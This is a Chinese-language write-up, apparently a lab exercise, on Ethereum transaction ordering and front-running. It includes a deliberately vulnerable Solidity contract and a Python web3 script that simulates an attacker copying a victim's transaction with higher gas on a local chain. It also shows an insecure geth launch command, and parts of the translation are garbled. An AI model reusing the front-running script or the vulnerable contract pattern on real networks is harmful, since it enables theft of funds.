原理
以太坊交易生存周期
- 发送方构造一个事务并对其进行数字签名。
- 发送方通过JSON-RPC调用向以太坊客户端提交签名的交易。
- 客户端验证接收到的交易,并将其广播到以太坊P2P网络。
- 任何接收到该交易的客户端,并且是一个miner,将该交易添加到其交易池中。
- 一个miner执行从其交易池中选择的一系列事务,制定一个新的块,并更新区块链的状态,如下所示。对于转账交易,将指定金额从发送方的EOA转入接收方的EOA或合同账户;对于输入是字节码的合约创建交易,将创建一个新的合约帐户并与字节码关联;对于接收方是被调用契约,输入唯一地标识被调用函数(可能还有一些相关参数)的合约调用事务,与被调用合约帐户相关联的字节码被加载到EVM中。
- miner通过找到一个随机的nonce来解决PoW,使得问题块元数据的哈希值小于某个阈值,这反映了创建块的难度。与比特币的计算密集型PoW不同,以太坊使用名为“Ethash”的内存密集型谜题。
- 创建区块后,矿工将其广播到以太坊P2P网络,以便其他客户端验证该区块。
- 客户端在验证一个数据块后,将该数据块追加到区块链。Trie是用于存储以太坊区块链数据的数据结构(如账户状态)。像Patricia树一样,trie存储键-值对,同时便于搜索,如下所示:从根到叶节点的路径对应于一个键,叶节点包含一个值(例如,帐户的状态)。如图3所示,块头可以指向一个状态try、一个事务try(用于记录事务数据)和一个收据try(用于记录与事务执行相关的数据)。每个合约帐户对应于状态try上的叶子或分支节点,使用单独的存储try来记录契约的持久数据;这个储藏室也用。key-value结构,其中每个插槽的位置对应于一个键,每个插槽中的合约状态变量对应于一个值。
Nonce相关原理
为了防止交易重播,ETH(ETC)节点要求每笔交易必须有一个nonce数值,以太坊会给每个账户维护一个nonce。每一个账户从同一个节点发起交易时,这个nonce值从0开始计数,发送一笔nonce对应加1。当前面的nonce处理完成之后才会处理后面的nonce。注意这里的前提条件是相同的地址在相同的节点发送交易。以下是nonce使用的几条规则:● 当nonce太小(小于之前已经有交易使用的nonce值),交易会被直接拒绝。● 当nonce太大,交易会一直处于队列之中,这也就是导致我们上面描述的问题的原因;● 当发送一个比较大的nonce值,然后补齐开始nonce到那个值之间的nonce,那么交易依旧可以被执行。● 当交易处于queue中时停止geth客户端,那么交易queue中的交易会被清除掉。以太坊txpool处理原理
txpool中由两部分构成pending和queued组成。当发送交易Nonce大于完成交易nonce+1时,该交易会在queued中,如果当前发送交易nonce等于完成交易nonce+1时,该交易会被放在pending中等待打包。 ```shell取得地址账户的最大nonce值
eth.getTransactionCount(address)
查看当前txpool中的交易
txpool.content
<a name="wYdKQ"></a>
#### ![](https://cdn.nlark.com/yuque/0/2021/png/479381/1618647256586-40df3629-bfbe-407b-a3cb-b13ab9fa5c04.png#clientId=u36fced04-9069-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=Mwuo5&originHeight=302&originWidth=923&originalType=binary&ratio=1&rotation=0&showTitle=false&size=51375&status=done&style=none&taskId=u24aa7c20-d4aa-44c9-9aba-59880471014&title=)
<a name="m1vY8"></a>
#### 交易顺序依赖攻击原理
交易进入未确认的交易池,并可能被矿工无序地包含在区块中,这取决于矿工的交易选择标准,有可能是一些旨在从交易费中获取最大收益的算法。因此,打包在区块中的交易顺序与交易生成的顺序完全不同。因此,合约代码无法对交易顺序作出任何假设。因为交易在交易池(mempool)是可见的,其执行是可预测的。在区块链中发起的交易需要经过矿工的打包才能最终记录到链上。<br />攻击者观察池中可能含有目标合约的交易,如若存在,合约中不利于攻击者的状态或者合约的权限就会被攻击者修改。攻击者还可以盗取交易的数据,以更高的Gas价格创建自己的交易,然后将自己的交易打包在原始交易之前的区块中,从而得到交易处理优先权。
<a name="oo34G"></a>
### 示例
<a name="ADXn8"></a>
#### 攻击场景
owner部署合约gamer,并为合约设置密钥,如果提交正确即可取得合约中的1 ether奖励。现在Alice知道了答案,调用get()函数获取奖励,而Bob是恶意攻击者,通过监听txpool知道了正确答案,于是copy该交易并设置一个更高的gas让矿工先打包自己的交易。
```javascript
pragma solidity ^0.4.26;
contract game{
address owner;
bool flag;
uint256 password;
// 构造函数,设置owner
function game() public{
owner = msg.sender;
flag=false;
}
// 设置密码并放入金额
function set(uint256 pa) public payable{
password = pa;
}
// 传入密码取出金额
function get(uint256 pa) public view returns(uint256){
if(password == pa){
if(flag==true){
return 0;
}
msg.sender.call.value(this.balance)("");
flag=true;
return 1;
}else{
return 0;
}
}
}
测试过程
import os,json,sys,threading,time
from web3 import Web3,HTTPProvider
class contract:
# 编译合约
def __init__(self,file):
os.system("solcjs "+file+" --bin --abi --optimize")
for fi in os.listdir():
if fi[-3:]=='abi':
os.rename(fi,'tmp.abi')
elif fi[-3:]=='bin':
os.rename(fi,'tmp.bin')
with open('tmp.bin','r') as f:
self.contractBin = "0x"+(f.readlines())[0]
with open('tmp.abi','r') as f:
self.contractAbi = json.loads((f.readlines())[0])
os.remove('tmp.abi')
os.remove('tmp.bin')
print('[!] 合约编译成功...')
# 部署合约
def deploy(self):
self.web3 = Web3(HTTPProvider('http://localhost:60000'))
if not self.web3.isConnected():
exit("[!] 请检查是否开启RPC服务...")
eth = self.web3.eth
self.web3.geth.personal.unlock_account(eth.accounts[0],'123')
self.web3.geth.personal.unlock_account(eth.accounts[2],'789')
self.web3.eth.default_account = eth.accounts[0]
gasValue = eth.estimateGas({'data':self.contractBin})
print("[!] 合约部署预计消耗gas: "+str(gasValue))
tx_hash = eth.contract(
abi=self.contractAbi,
bytecode=self.contractBin).constructor().transact()
receipt=eth.waitForTransactionReceipt(tx_hash)
address = receipt['contractAddress']
print("[!] 合约部署成功,地址: "+str(address))
print("[!] 交易详情:"+str((receipt['transactionHash']).hex()))
self.address = address
self.victim_contract = self.web3.eth.contract(address=self.address, abi=self.contractAbi)
tx_hash = self.victim_contract.functions.set(123).transact({'value':self.web3.toWei(1,"ether")})
#print("[!] 当前合约余额: "+str(self.web3.eth.getBalance(self.address)))
print("--------------当前账户-------------------")
print("Alice: {} ether".format(self.web3.fromWei(int(self.web3.eth.getBalance(self.web3.eth.accounts[2])),"ether")))
print("BOB:{} ether\n".format(self.web3.fromWei(int(self.web3.eth.getBalance(self.web3.eth.accounts[1])),"ether")))
# 受害者
def victim(self):
print('[!] Alice 开始调用合约函数 get() 消耗gas:'+str(40000))
print('[!] Alice 调用get(),取出gamer合约中的ether, tx_hash: '+str(self.web3.toHex((self.victim_contract.functions.get(123).transact({"gas":40000,"from":self.web3.eth.accounts[2]})))))
# 攻击者
def attack(self):
self.web3.geth.personal.unlock_account(self.web3.eth.accounts[1],'456')
print('[!] Bob 发送更高gas=100000抢用,tx_hash: '+str(self.web3.toHex((self.victim_contract.functions.get(123).transact({"from":self.web3.eth.accounts[1],"gas":2000000})))))
if __name__ == "__main__":
''' python deploy.py test.sol'''
contract = contract(sys.argv[1])
contract.deploy()
input("请先暂停挖矿...")
contract.victim()
contract.attack()
input("请开启挖矿...")
print("--------------更新后账户-------------------")
print("Alice: {} ether".format(contract.web3.fromWei(contract.web3.eth.getBalance(contract.web3.eth.accounts[2]),"ether")))
print("Bob:{} ether\n".format(contract.web3.fromWei(contract.web3.eth.getBalance(contract.web3.eth.accounts[1]),"ether")))
从结果显示,Bob抢用失败,交易顺序依赖未执行成功,然而从txpool中pending查看,可以看到两个交易中Bob的交易花费的gas是要远大于Alice的。
怀疑是geth的问题,经过查询增加启动参数: --txpool.nolocals
该参数禁止对本地提交的事务进行gas价格豁免。调试依旧存在问题,同时尝试了其它txpool启动参数,无果。
geth --datadir "chain" --nodiscover --txpool.nolocals --txpool.pricebump 2 --txpool.globalslots 1 --txpool.accountslots 1 --http --http.addr 127.0.0.1 --http.port 60000 --http.api eth,web3,admin,personal,net --allow-insecure-unlock console 2>>output.log
防护
交易顺序依赖攻击单对合约而言,只要合约编写者考虑到以太坊交易顺序是可控的,就可以避免该攻击。